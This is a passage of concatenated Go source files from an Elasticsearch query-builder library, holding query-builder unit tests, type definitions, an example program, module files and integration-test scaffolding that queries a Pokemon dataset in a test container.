18 | } 19 | 20 | func Test_TermsSet_should_create_json_with_terms_set_field_inside_query(t *testing.T) { 21 | t.Parallel() 22 | // Given 23 | query := es.NewQuery( 24 | es.TermsSet("key", "value1", "value2", "value3"), 25 | ) 26 | 27 | // When Then 28 | assert.NotNil(t, query) 29 | bodyJSON := assert.MarshalWithoutError(t, query) 30 | assert.Equal(t, "{\"query\":{\"terms_set\":{\"key\":{\"terms\":[\"value1\",\"value2\",\"value3\"]}}}}", bodyJSON) 31 | } 32 | 33 | func Test_TermsSet_method_should_create_termsSetType(t *testing.T) { 34 | t.Parallel() 35 | // Given 36 | b := es.TermsSet("key", "value1", "value2", "value3") 37 | 38 | // Then 39 | assert.NotNil(t, b) 40 | assert.IsTypeString(t, "es.termsSetType", b) 41 | } 42 | 43 | func Test_TermsSet_should_have_Boost_method(t *testing.T) { 44 | t.Parallel() 45 | // Given 46 | termsSet := es.TermsSet("key", "value1", "value2", "value3") 47 | 48 | // When Then 49 | assert.NotNil(t, termsSet.Boost) 50 | } 51 | 52 | func Test_TermsSet_Boost_should_create_json_with_boost_field_inside_terms_set(t *testing.T) { 53 | t.Parallel() 54 | // Given 55 | query := es.NewQuery( 56 | es.TermsSet("sector.name", "a1", "b2", "c3"). 57 | Boost(2.718), 58 | ) 59 | 60 | // When Then 61 | assert.NotNil(t, query) 62 | bodyJSON := assert.MarshalWithoutError(t, query) 63 | assert.Equal(t, "{\"query\":{\"terms_set\":{\"sector.name\":{\"boost\":2.718,\"terms\":[\"a1\",\"b2\",\"c3\"]}}}}", bodyJSON) 64 | } 65 | 66 | func Test_TermsSet_should_have_MinimumShouldMatchField_method(t *testing.T) { 67 | t.Parallel() 68 | // Given 69 | termsSet := es.TermsSet("key", "value1", "value2", "value3") 70 | 71 | // When Then 72 | assert.NotNil(t, termsSet.MinimumShouldMatchField) 73 | } 74 | 75 | func Test_TermsSet_MinimumShouldMatchField_should_create_json_with_minimum_should_match_field_field_inside_terms_set(t *testing.T) { 76 | t.Parallel() 77 | // Given 78 | query := es.NewQuery( 79 | es.TermsSet("sector.name", "a1", "b2", "c3"). 80 | MinimumShouldMatchField("match_threshold"), 81 | ) 82 | 83 | // When Then 84 | assert.NotNil(t, query) 85 | bodyJSON := assert.MarshalWithoutError(t, query) 86 | // nolint:golint,lll 87 | assert.Equal(t, "{\"query\":{\"terms_set\":{\"sector.name\":{\"minimum_should_match_field\":\"match_threshold\",\"terms\":[\"a1\",\"b2\",\"c3\"]}}}}", bodyJSON) 88 | } 89 | 90 | func Test_TermsSet_should_have_MinimumShouldMatchScript_method(t *testing.T) { 91 | t.Parallel() 92 | // Given 93 | termsSet := es.TermsSet("key", "value1", "value2", "value3") 94 | 95 | // When Then 96 | assert.NotNil(t, termsSet.MinimumShouldMatchScript) 97 | } 98 | 99 | func Test_TermsSet_MinimumShouldMatchScript_should_create_json_with_minimum_should_match_script_field_inside_terms_set(t *testing.T) { 100 | t.Parallel() 101 | // Given 102 | query := es.NewQuery( 103 | es.TermsSet("sector.name", "a1", "b2", "c3"). 104 | MinimumShouldMatchScript( 105 | es.ScriptSource("Math.max(1, doc['match_threshold'].value - 1)", ScriptLanguage.Painless). 106 | Option("timeout", "10s"). 107 | Option("retry", "5"). 108 | Option("size", "500"). 109 | Parameter("threshold", 2). 110 | Parameter("items", []int{1, 2, 3, 4}), 111 | ), 112 | ) 113 | 114 | // When Then 115 | assert.NotNil(t, query) 116 | bodyJSON := assert.MarshalWithoutError(t, query) 117 | // nolint:golint,lll 118 | assert.Equal(t, "{\"query\":{\"terms_set\":{\"sector.name\":{\"minimum_should_match_script\":{\"lang\":\"painless\",\"options\":{\"retry\":\"5\",\"size\":\"500\",\"timeout\":\"10s\"},\"params\":{\"items\":[1,2,3,4],\"threshold\":2},\"source\":\"Math.max(1, doc['match_threshold'].value - 1)\"},\"terms\":[\"a1\",\"b2\",\"c3\"]}}}}", bodyJSON) 119 | } 120 | -------------------------------------------------------------------------------- /es/types.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | import "unsafe" 4 | 5 | type Object map[string]any 6 | 7 | type Array []any 8 | 9 | type GenericObject[T any] map[string]T 10 | 11 | type signed interface { 12 | ~int | ~int8 | ~int16 | ~int32 | ~int64 13 | } 14 | 15 | type unsigned interface { 16 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 17 | } 18 | 19 | type integer interface { 20 | signed | unsigned 21 | } 22 | 23 | type float interface { 24 | ~float32 | ~float64 25 | } 26 | 27 | type complexNumber interface { 28 | ~complex64 | ~complex128 29 | } 30 | 31 | type number interface { 32 | integer | float | complexNumber 33 | } 34 | 35 | type primitive interface { 36 | number | ~string | ~bool | ~rune 37 | } 38 | 39 | func correctType(b any) (any, bool) { 40 | if b == nil || (*[2]uintptr)(unsafe.Pointer(&b))[1] == 0 { 41 | return nil, false 42 | } 43 | if _, ok := b.(BoolType); ok { 44 | return Object{"bool": b}, true 45 | } 46 | return b, true 47 | } 48 | -------------------------------------------------------------------------------- /example/example.go: -------------------------------------------------------------------------------- 1 | // nolint:all 2 | package main 3 | 4 | import ( 5 | "encoding/json" 6 | "fmt" 7 | "log" 8 | 9 | Order "github.com/trustingprom/es-query-builder/es/enums/sort/order" 10 | 11 | "github.com/trustingprom/es-query-builder/es" 12 | ) 13 | 14 | func mockGetDocumentsEs(query string) (string, error) { 15 | return fmt.Sprintf("query result for '%v'", query), nil 16 | } 17 | 18 | func main() { 19 | id := 42 20 | queryString, err := json.Marshal(buildQuery(id)) 21 | if err != nil { 22 | log.Fatal(err.Error()) 23 | } 24 | 25 | documentsEs, err := mockGetDocumentsEs(string(queryString)) 26 | if err != nil { 27 | log.Fatal(err.Error()) 28 | } 29 | fmt.Printf("query result: %s\n", documentsEs) 30 | 31 | // Output: 32 | // query result for '{"_source":{"includes":["id","type","indexedAt","chapters"]},"query":{"bool":{"filter":[{"terms":{"type":["DOC","FILE"]}}],"must":[{"bool":{"should":[{"term":{"doc.id":42}},{"term":{"file.fileId":42}}]}}]}},"size":45,"sort":[{"name":{"order":"asc"}}]}' 33 | 34 | // Formatted query string: 35 | // { 36 | // "_source": { 37 | // "includes": [ 38 | // "id", 39 | // "type", 40 | // "indexedAt", 41 | // "chapters" 42 | // ] 43 | // }, 44 | // "query": { 45 | // "bool": { 46 | // "filter": [ 47 | // { 48 | // "terms": { 49 | // "type": [ 50 | // "DOC", 51 | // "FILE" 52 | // ] 53 | // } 54 | // } 55 | // ], 56 | // "must": [ 57 | // { 58 | // "bool": { 59 | // "should": [ 60 | // { 61 | // "term": { 62 | // "doc.id": 42 63 | // } 64 | // }, 65 | // { 66 | // "term": { 67 | // "file.fileId": 42 68 | // } 69 | // } 70 | // ] 71 | // } 72 | // } 73 | // ] 74 | // } 75 | // }, 76 | // "size": 45, 77 | // "sort": [ 78 | // { 79 | // "name": { 80 | // "order": "asc" 81 | // } 82 | // } 83 | // ] 84 | // } 85 | } 86 | 87 | func buildQuery(id int) es.Object { 88 | query := es.NewQuery( 89 | es.Bool(). 90 | Must( 91 | es.Bool(). 92 | Should( 93 | es.Term("doc.id", id), 94 | es.Term("file.fileId", id), 95 | ), 96 | ). 97 | Filter( 98 | es.Terms("type", "DOC", "FILE"), 99 | )). 100 | Size(45). 101 | Sort(es.Sort("name").Order(Order.Asc)). 102 | SourceIncludes("id", "type", "indexedAt", "chapters") 103 | 104 | return query 105 | } 106 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/trustingprom/es-query-builder 2 | 3 | go 1.18 4 | 5 | // No external dependencies 😎 6 | -------------------------------------------------------------------------------- /internal/integration-test/constants/constants.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const ( 4 | True = "true" 5 | TestIndex = "foo-index" 6 | PokemonIndex = "pokedex" 7 | ) 8 | -------------------------------------------------------------------------------- /internal/integration-test/container/elasticsearch.go: -------------------------------------------------------------------------------- 1 | package container 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "runtime" 7 | 8 | "github.com/docker/go-connections/nat" 9 | "github.com/testcontainers/testcontainers-go" 10 | "github.com/testcontainers/testcontainers-go/wait" 11 | ) 12 | 13 | const ( 14 | ElasticsearchImage = "docker.elastic.co/elasticsearch/elasticsearch:8.15.0" 15 | defaultPort = "9200" 16 | ) 17 | 18 | type ElasticsearchContainer struct { 19 | containerContext context.Context 20 | containerRequest testcontainers.ContainerRequest 21 | container testcontainers.Container 22 | address string 23 | ip string 24 | port nat.Port 25 | } 26 | 27 | func NewContainer(ctx context.Context, image string) *ElasticsearchContainer { 28 | req := testcontainers.ContainerRequest{ 29 | Image: image, 30 | ExposedPorts: []string{fmt.Sprintf("%s:%s", defaultPort, defaultPort)}, 31 | Env: map[string]string{ 32 | "cluster.name": "testcontainers-go", 33 | "discovery.type": "single-node", 34 | "bootstrap.memory_lock": "true", 35 | "xpack.security.enabled": "false", // Disable security features (including TLS) 36 | "xpack.security.http.ssl.enabled": "false", // Disable HTTPS for the HTTP API 37 | "ES_JAVA_OPTS": "-Xms1g -Xmx1g", 38 | }, 39 | WaitingFor: wait.ForLog("up and running"), 40 | } 41 | return &ElasticsearchContainer{ 42 | containerContext: ctx, 43 | containerRequest: req, 44 | } 45 | } 46 | 47 | func (c *ElasticsearchContainer) Run() (err error) { 48 | c.container, err = testcontainers.GenericContainer(c.containerContext, testcontainers.GenericContainerRequest{ 49 | ContainerRequest: c.containerRequest, 50 | Started: true, 51 | }) 52 | if err != nil { 53 | return err 54 | } 55 | 56 | c.ip, err = c.container.Host(c.containerContext) 57 | if err != nil { 58 | return err 59 | } 60 | c.port, err = c.container.MappedPort(c.containerContext, defaultPort) 61 | if err != nil { 62 | return err 63 | } 64 | 65 | if isRunningOnOSX() { 66 | c.ip = "127.0.0.1" 67 | } 68 | 69 | return nil 70 | } 71 | 72 | func (c *ElasticsearchContainer) TerminateContainer() (err error) { 73 | if c.container != nil { 74 | return c.container.Terminate(c.containerContext) 75 | } 76 | 77 | return nil 78 | } 79 | 80 | func (c *ElasticsearchContainer) Host() string { 81 | return fmt.Sprintf("http://%s:%s", c.ip, c.port.Port()) 82 | } 83 | 84 | func isRunningOnOSX() bool { 85 | return runtime.GOOS == "darwin" 86 | } 87 | -------------------------------------------------------------------------------- /internal/integration-test/errorx/error.go: -------------------------------------------------------------------------------- 1 | package errorx 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net/http" 7 | ) 8 | 9 | type Error struct { 10 | Details string 11 | Status int 12 | } 13 | 14 | func (e Error) Error() string { 15 | return fmt.Sprintf("status code: %d, details: %s", e.Status, e.Details) 16 | } 17 | 18 | func IsNotFound(err error) bool { 19 | if err == nil { 20 | return false 21 | } 22 | var e *Error 23 | if errors.As(err, &e) { 24 | return e.Status == http.StatusNotFound 25 | } 26 | return false 27 | } 28 | -------------------------------------------------------------------------------- /internal/integration-test/go.mod: -------------------------------------------------------------------------------- 1 | module integration-tests 2 | 3 | go 1.23.0 4 | 5 | replace github.com/trustingprom/es-query-builder => ./../.. 6 | 7 | require ( 8 | github.com/GokselKUCUKSAHIN/jsonx v1.1.0 9 | github.com/trustingprom/es-query-builder v0.6.2 10 | github.com/bayraktugrul/go-await v1.1.1 11 | github.com/docker/go-connections v0.5.0 12 | github.com/elastic/elastic-transport-go/v8 v8.7.0 13 | github.com/elastic/go-elasticsearch/v8 v8.18.0 14 | github.com/stretchr/testify v1.10.0 15 | github.com/testcontainers/testcontainers-go v0.37.0 16 | ) 17 | 18 | require ( 19 | dario.cat/mergo v1.0.1 // indirect 20 | github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 // indirect 21 | github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c // indirect 22 | github.com/Microsoft/go-winio v0.6.2 // indirect 23 | github.com/cenkalti/backoff/v4 v4.3.0 // indirect 24 | github.com/containerd/log v0.1.0 // indirect 25 | github.com/containerd/platforms v0.2.1 // indirect 26 | github.com/cpuguy83/dockercfg v0.3.2 // indirect 27 | github.com/davecgh/go-spew v1.1.1 // indirect 28 | github.com/distribution/reference v0.6.0 // indirect 29 | github.com/docker/docker v28.0.1+incompatible // indirect 30 | github.com/docker/go-units v0.5.0 // indirect 31 | github.com/ebitengine/purego v0.8.2 // indirect 32 | github.com/felixge/httpsnoop v1.0.4 // indirect 33 | github.com/go-logr/logr v1.4.2 // indirect 34 | github.com/go-logr/stdr v1.2.2 // indirect 35 | github.com/go-ole/go-ole v1.3.0 // indirect 36 | github.com/gogo/protobuf v1.3.2 // indirect 37 | github.com/google/uuid v1.6.0 // indirect 38 | github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.1 // indirect 39 | github.com/json-iterator/go v1.1.12 // indirect 40 | github.com/klauspost/compress v1.18.0 // indirect 41 | github.com/lufia/plan9stats v0.0.0-20250303091104-876f3ea5145d // indirect 42 | github.com/magiconair/properties v1.8.10 // indirect 43 | github.com/moby/docker-image-spec v1.3.1 // indirect 44 | github.com/moby/patternmatcher v0.6.0 // indirect 45 | github.com/moby/sys/sequential v0.6.0 // indirect 46 | github.com/moby/sys/user v0.3.0 // indirect 47 | github.com/moby/sys/userns v0.1.0 // indirect 48 | github.com/moby/term v0.5.2 // indirect 49 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect 50 | github.com/modern-go/reflect2 v1.0.2 // indirect 51 | github.com/morikuni/aec v1.0.0 // indirect 52 | github.com/opencontainers/go-digest v1.0.0 // indirect 53 | github.com/opencontainers/image-spec v1.1.1 // indirect 54 | github.com/pkg/errors v0.9.1 // indirect 55 | github.com/pmezard/go-difflib v1.0.0 // indirect 56 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect 57 | github.com/shirou/gopsutil/v4 v4.25.1 // indirect 58 | github.com/sirupsen/logrus v1.9.3 // indirect 59 | github.com/tklauser/go-sysconf v0.3.14 // indirect 60 | github.com/tklauser/numcpus v0.9.0 // indirect 61 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 62 | go.opentelemetry.io/auto/sdk v1.1.0 // indirect 63 | go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.59.0 // indirect 64 | go.opentelemetry.io/otel v1.35.0 // indirect 65 | go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.34.0 // indirect 66 | go.opentelemetry.io/otel/metric v1.35.0 // indirect 67 | go.opentelemetry.io/otel/sdk v1.34.0 // indirect 68 | go.opentelemetry.io/otel/trace v1.35.0 // indirect 69 | golang.org/x/crypto v0.37.0 // indirect 70 | golang.org/x/net v0.38.0 // indirect 71 | golang.org/x/sys v0.32.0 // indirect 72 | golang.org/x/time v0.10.0 // indirect 73 | google.golang.org/genproto/googleapis/api v0.0.0-20250303144028-a0af3efb3deb // indirect 74 | google.golang.org/genproto/googleapis/rpc v0.0.0-20250303144028-a0af3efb3deb // indirect 75 | google.golang.org/grpc v1.70.0 // indirect 76 | google.golang.org/protobuf v1.36.5 // indirect 77 | gopkg.in/yaml.v3 v3.0.1 // indirect 78 | ) 79 | -------------------------------------------------------------------------------- /internal/integration-test/model/foo_document_model.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import "github.com/trustingprom/es-query-builder/es" 4 | 5 | type FooDocument struct { 6 | ID string `json:"id"` 7 | Foo string `json:"foo"` 8 | } 9 | 10 | func (foo *FooDocument) Copy() FooDocument { 11 | return FooDocument{ 12 | ID: foo.ID, 13 | Foo: foo.Foo, 14 | } 15 | } 16 | 17 | func (foo *FooDocument) GetMappings() es.Object { 18 | return es.Object{ 19 | "properties": es.Object{ 20 | "foo": es.Object{ 21 | "type": "keyword", 22 | }, 23 | "meta": es.Object{ 24 | "properties": es.Object{ 25 | "id": es.Object{ 26 | "type": "keyword", 27 | }, 28 | }, 29 | }, 30 | }, 31 | } 32 | } 33 | 34 | func (foo *FooDocument) GetSettings() es.Object { 35 | return es.Object{ 36 | "index": es.Object{ 37 | "refresh_interval": "1s", 38 | "number_of_shards": 1, 39 | "number_of_replicas": 1, 40 | "max_result_window": 10_000, 41 | "max_terms_count": 1024, 42 | }, 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /internal/integration-test/model/search_response_model.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | type GenericHit[T any] struct { 4 | Source T `json:"_source"` 5 | } 6 | 7 | type GenericHits[T any] struct { 8 | Hits []GenericHit[T] `json:"hits"` 9 | } 10 | 11 | type GenericSearchResponse[T any] struct { 12 | Hits GenericHits[T] `json:"hits"` 13 | } 14 | -------------------------------------------------------------------------------- /internal/integration-test/model_repository/elasticsearch_model.go: -------------------------------------------------------------------------------- 1 | package model_repository 2 | 3 | import "encoding/json" 4 | 5 | //// COUNT //// 6 | 7 | type CountResponse struct { 8 | Shards *ShardsInfo `json:"_shards,omitempty"` 9 | Count uint64 `json:"count"` 10 | } 11 | 12 | type ShardsInfo struct { 13 | Failures []ShardFailure `json:"failures,omitempty"` 14 | Failed uint `json:"failed"` 15 | Skipped uint `json:"skipped,omitempty"` 16 | Successful uint `json:"successful"` 17 | Total uint `json:"total"` 18 | } 19 | 20 | type ShardFailure struct { 21 | Reason map[string]any `json:"reason,omitempty"` 22 | Index string `json:"_index,omitempty"` 23 | Node string `json:"_node,omitempty"` 24 | Status string `json:"status,omitempty"` 25 | Shard uint `json:"_shard,omitempty"` 26 | Primary bool `json:"primary,omitempty"` 27 | } 28 | 29 | //// SEARCH //// 30 | 31 | type SearchResponse struct { 32 | Hits *SearchHits `json:"hits,omitempty"` 33 | Shards *ShardsInfo `json:"_shards,omitempty"` 34 | Aggregations AggregateDictionary `json:"aggregations,omitempty"` 35 | ScrollId string `json:"_scroll_id,omitempty"` 36 | TookInMillis uint64 `json:"took,omitempty"` 37 | TimedOut bool `json:"timed_out,omitempty"` 38 | } 39 | 40 | type SearchHits struct { 41 | Total *Total `json:"total,omitempty"` 42 | MaxScore *float64 `json:"max_score,omitempty"` 43 | Hits []SearchHit `json:"hits"` 44 | } 45 | 46 | type SearchHit struct { 47 | Version *uint `json:"_version,omitempty"` 48 | Id string `json:"_id"` 49 | Routing string `json:"_routing"` 50 | Source json.RawMessage `json:"_source"` 51 | Score float32 `json:"_score"` 52 | Found bool `json:"found"` 53 | } 54 | 55 | type Total struct { 56 | Relation string `json:"relation"` 57 | Value int64 `json:"value"` 58 | } 59 | 60 | type AggregateDictionary map[string]json.RawMessage 61 | 62 | //// EXISTS //// 63 | 64 | type ExistsDocument struct { 65 | Id string `json:"id"` 66 | Routing string `json:"routing"` 67 | } 68 | 69 | func MapToId(searchHit SearchHit) (string, error) { 70 | return searchHit.Id, nil 71 | } 72 | -------------------------------------------------------------------------------- /internal/integration-test/repository/elasticsearch_index.go: -------------------------------------------------------------------------------- 1 | package repository 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "io" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | ) 10 | 11 | type ElasticsearchIndex interface { 12 | GetMappings() es.Object 13 | GetSettings() es.Object 14 | } 15 | 16 | func CreateIndexBody(index ElasticsearchIndex) (io.Reader, error) { 17 | esIndex := es.Object{ 18 | "settings": index.GetSettings(), 19 | "mappings": index.GetMappings(), 20 | } 21 | 22 | data, err := json.Marshal(esIndex) 23 | if err != nil { 24 | return nil, err 25 | } 26 | return bytes.NewReader(data), nil 27 | } 28 | -------------------------------------------------------------------------------- /internal/integration-test/repository/foo_elasticsearch_repository.go: -------------------------------------------------------------------------------- 1 | package repository 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "integration-tests/constants" 7 | "integration-tests/model" 8 | "integration-tests/model_repository" 9 | 10 | "github.com/elastic/go-elasticsearch/v8" 11 | ) 12 | 13 | type fooElasticsearchRepository struct { 14 | BaseGenericRepository[string, model.FooDocument] 15 | } 16 | 17 | func NewFooElasticsearchRepository(client *elasticsearch.Client) BaseGenericRepository[string, model.FooDocument] { 18 | return &fooElasticsearchRepository{ 19 | NewBaseGenericRepository(client, constants.TestIndex, "fooRepository", mapToFoo, model_repository.MapToId, mapToFooId), 20 | } 21 | } 22 | 23 | func mapToFooId(foo model.FooDocument) string { 24 | return foo.ID 25 | } 26 | 27 | func mapToFoo(docID string, searchHit model_repository.SearchHit) (string, model.FooDocument, error) { 28 | var foo model.FooDocument 29 | if err := json.Unmarshal(searchHit.Source, &foo); err != nil { 30 | return "", model.FooDocument{}, err 31 | } 32 | return docID, foo, nil 33 | } 34 | -------------------------------------------------------------------------------- /internal/integration-test/repository/pokedex_elasticsearch_repository.go: -------------------------------------------------------------------------------- 1 | package repository 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "integration-tests/constants" 7 | "integration-tests/model" 8 | "integration-tests/model_repository" 9 | 10 | "github.com/elastic/go-elasticsearch/v8" 11 | ) 12 | 13 | type pokedexElasticsearchRepository struct { 14 | BaseGenericRepository[string, model.Pokemon] 15 | } 16 | 17 | func NewPokedexElasticsearchRepository(client *elasticsearch.Client) BaseGenericRepository[string, model.Pokemon] { 18 | return &pokedexElasticsearchRepository{ 19 | NewBaseGenericRepository(client, constants.PokemonIndex, "pokedexRepository", mapToPokemon, model_repository.MapToId, mapToPokemonId), 20 | } 21 | } 22 | 23 | func mapToPokemonId(pokemon model.Pokemon) string { 24 | return pokemon.GetDocumentID() 25 | } 26 | 27 | func mapToPokemon(docID string, searchHit model_repository.SearchHit) (string, model.Pokemon, error) { 28 | var pokemon model.Pokemon 29 | if err := json.Unmarshal(searchHit.Source, &pokemon); err != nil { 30 | return "", model.Pokemon{}, err 31 | } 32 | return docID, pokemon, nil 33 | } 34 | -------------------------------------------------------------------------------- /internal/integration-test/test-data-provider/data/poke.fa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustingprom/es-query-builder/397d62f8f6df14f2631b017ad1f5aeba06764020/internal/integration-test/test-data-provider/data/poke.fa -------------------------------------------------------------------------------- /internal/integration-test/test-data-provider/decompress.go: -------------------------------------------------------------------------------- 1 | package testdataprovider 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "io" 7 | "os" 8 | "sync" 9 | ) 10 | 11 | const maxBytes = 10 * 1024 * 1024 // 10 MB limit 12 | const bufferSize = 64 * 1024 // 64 KB 13 | 14 | func DecompressGz(inputPath string) ([]byte, error) { 15 | file, err := os.Open(inputPath) 16 | if err != nil { 17 | return nil, err 18 | } 19 | defer file.Close() 20 | 21 | gzReader, err := gzip.NewReader(file) 22 | if err != nil { 23 | return nil, err 24 | } 25 | defer gzReader.Close() 26 | 27 | pr, pw := io.Pipe() 28 | var wg sync.WaitGroup 29 | wg.Add(1) 30 | 31 | go func() { 32 | defer pw.Close() 33 | buf := make([]byte, bufferSize) 34 | for { 35 | n, err := gzReader.Read(buf) 36 | if n > 0 { 37 | if _, writeErr := pw.Write(buf[:n]); writeErr != nil { 38 | break 39 | } 40 | } 41 | if err != nil { 42 | break 43 | } 44 | } 45 | wg.Done() 46 | }() 47 | 48 | var outBuf bytes.Buffer 49 | if _, err := io.CopyN(&outBuf, pr, maxBytes); err != nil && err != io.EOF { 50 | return nil, err 51 | } 52 | wg.Wait() 53 | return outBuf.Bytes(), nil 54 | } 55 | -------------------------------------------------------------------------------- /internal/integration-test/test-data-provider/path_util.go: -------------------------------------------------------------------------------- 1 | package testdataprovider 2 | 3 | import ( 4 | "path/filepath" 5 | "runtime" 6 | ) 7 | 8 | func ResolvePath(relativePath string) string { 9 | _, currentFile, _, _ := runtime.Caller(0) 10 | dir := filepath.Dir(currentFile) 11 | return filepath.Join(dir, relativePath) 12 | } 13 | -------------------------------------------------------------------------------- /internal/integration-test/test-data-provider/pokemon_data_provider.go: -------------------------------------------------------------------------------- 1 | package testdataprovider 2 | 3 | import ( 4 | "github.com/GokselKUCUKSAHIN/jsonx" 5 | "integration-tests/model" 6 | ) 7 | 8 | const pokemonTestDataRelativePath = "./data/poke.fa" 9 | 10 | var cachedTestData model.Pokemons = nil 11 | 12 | func PokemonTestData() (model.Pokemons, error) { 13 | if cachedTestData != nil { 14 | return cachedTestData.Copy(), nil 15 | } 16 | pokemonTestData, err := jsonx.CastSlice[model.Pokemon](DecompressGz(ResolvePath(pokemonTestDataRelativePath))) 17 | if err != nil { 18 | return nil, err 19 | } 20 | cachedTestData = pokemonTestData 21 | return cachedTestData.Copy(), nil 22 | } 23 | -------------------------------------------------------------------------------- /internal/integration-test/tests/match_query_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "github.com/trustingprom/es-query-builder/es" 5 | "github.com/stretchr/testify/assert" 6 | ) 7 | 8 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_match_query_with_fuzzy() { 9 | // Given 10 | query := es.NewQuery( 11 | es.Match("name", "pikchu"). 12 | Fuzziness("AUTO"), 13 | ) 14 | 15 | // When 16 | result, err := s.PokedexElasticsearchRepository.GetSearchHits(s.TestContext, query) 17 | 18 | // Then 19 | assert.Nil(s.T(), err) 20 | assert.NoError(s.T(), err) 21 | assert.Equal(s.T(), 2, len(result)) 22 | for pokeID, pokemon := range result { 23 | switch pokeID { 24 | case "25_35": 25 | assert.Equal(s.T(), "pikachu", pokemon.Name) 26 | case "172_34": 27 | assert.Equal(s.T(), "pichu", pokemon.Name) 28 | default: 29 | s.T().FailNow() 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /internal/integration-test/tests/nested_query_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "github.com/trustingprom/es-query-builder/es" 5 | "github.com/stretchr/testify/assert" 6 | ) 7 | 8 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_nested_query() { 9 | // Given 10 | query := es.NewQuery( 11 | es.Bool().Must( 12 | es.Nested("types", es.Term("types.name", "fire")), 13 | es.Nested("abilities", es.Term("abilities.name", "blaze")), 14 | ), 15 | ) 16 | 17 | // When 18 | result, err := s.PokedexElasticsearchRepository.GetSearchHits(s.TestContext, query) 19 | 20 | // Then 21 | assert.Nil(s.T(), err) 22 | assert.NoError(s.T(), err) 23 | assert.Equal(s.T(), 6, len(result)) 24 | for pokeID, pokemon := range result { 25 | switch pokeID { 26 | case "4_5": 27 | assert.Equal(s.T(), "charmander", pokemon.Name) 28 | case "5_6": 29 | assert.Equal(s.T(), "charmeleon", pokemon.Name) 30 | case "6_7": 31 | assert.Equal(s.T(), "charizard", pokemon.Name) 32 | case "155_252": 33 | assert.Equal(s.T(), "cyndaquil", pokemon.Name) 34 | case "156_253": 35 | assert.Equal(s.T(), "quilava", pokemon.Name) 36 | case "157_254": 37 | assert.Equal(s.T(), "typhlosion", pokemon.Name) 38 | default: 39 | s.T().FailNow() 40 | } 41 | } 42 | } 43 | 44 | func (s *testSuite) Test_it_should_return_documents_that_by_nested_nested_query_query() { 45 | // Given 46 | query := es.NewQuery( 47 | es.Nested("moves", 48 | es.Bool().Must( 49 | es.Term("moves.name", "thunderbolt"), 50 | es.Nested("moves.versionGroupDetails", 51 | es.Range("moves.versionGroupDetails.levelLearnedAt"). 52 | LessThanOrEqual(50), 53 | ), 54 | ), 55 | ), 56 | ).Size(100) 57 | 58 | // When 59 | result, err := s.PokedexElasticsearchRepository.GetSearchHits(s.TestContext, query) 60 | 61 | // Then 62 | assert.Nil(s.T(), err) 63 | assert.NoError(s.T(), err) 64 | assert.Equal(s.T(), 11, len(result)) 65 | for pokeID, pokemon := range result { 66 | switch pokeID { 67 | case "81_132": 68 | assert.Equal(s.T(), "magnemite", pokemon.Name) 69 | case "82_133": 70 | assert.Equal(s.T(), "magneton", pokemon.Name) 71 | case "92_147": 72 | assert.Equal(s.T(), "gastly", pokemon.Name) 73 | case "93_148": 74 | assert.Equal(s.T(), "haunter", pokemon.Name) 75 | case "100_158": 76 | assert.Equal(s.T(), "voltorb", pokemon.Name) 77 | case "101_159": 78 | assert.Equal(s.T(), "electrode", pokemon.Name) 79 | case "109_173": 80 | assert.Equal(s.T(), "koffing", pokemon.Name) 81 | case "110_174": 82 | assert.Equal(s.T(), "weezing", pokemon.Name) 83 | case "179_273": 84 | assert.Equal(s.T(), "mareep", pokemon.Name) 85 | case "200_295": 86 | assert.Equal(s.T(), "misdreavus", pokemon.Name) 87 | case "233_226": 88 | assert.Equal(s.T(), "porygon2", pokemon.Name) 89 | default: 90 | s.T().FailNow() 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /internal/integration-test/tests/query_string_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "integration-tests/model" 5 | "integration-tests/tests" 6 | 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func (s *testSuite) Test_it_should_return_documents_that_filtered_by_query_string_with_wildcard_or_operator() { 12 | // Given 13 | foo := model.FooDocument{ 14 | ID: "10", 15 | Foo: "foo", 16 | } 17 | bar := model.FooDocument{ 18 | ID: "20", 19 | Foo: "bar", 20 | } 21 | george := model.FooDocument{ 22 | ID: "30", 23 | Foo: "george orwell", 24 | } 25 | s.FooElasticsearchRepository.BulkInsert(s.TestContext, foo, bar, george) 26 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, foo.ID) 27 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, bar.ID) 28 | tests.WaitExists(s.TestContext, s.FooElasticsearchRepository, george.ID) 29 | 30 | query := es.NewQuery(es.QueryString("ge* OR bar").AnalyzeWildcard(true)) 31 | 32 | // When 33 | result, err := s.FooElasticsearchRepository.GetSearchHits(s.TestContext, query) 34 | 35 | // Then 36 | assert.Nil(s.T(), err) 37 | assert.Equal(s.T(), 2, len(result)) 38 | assert.Equal(s.T(), "george 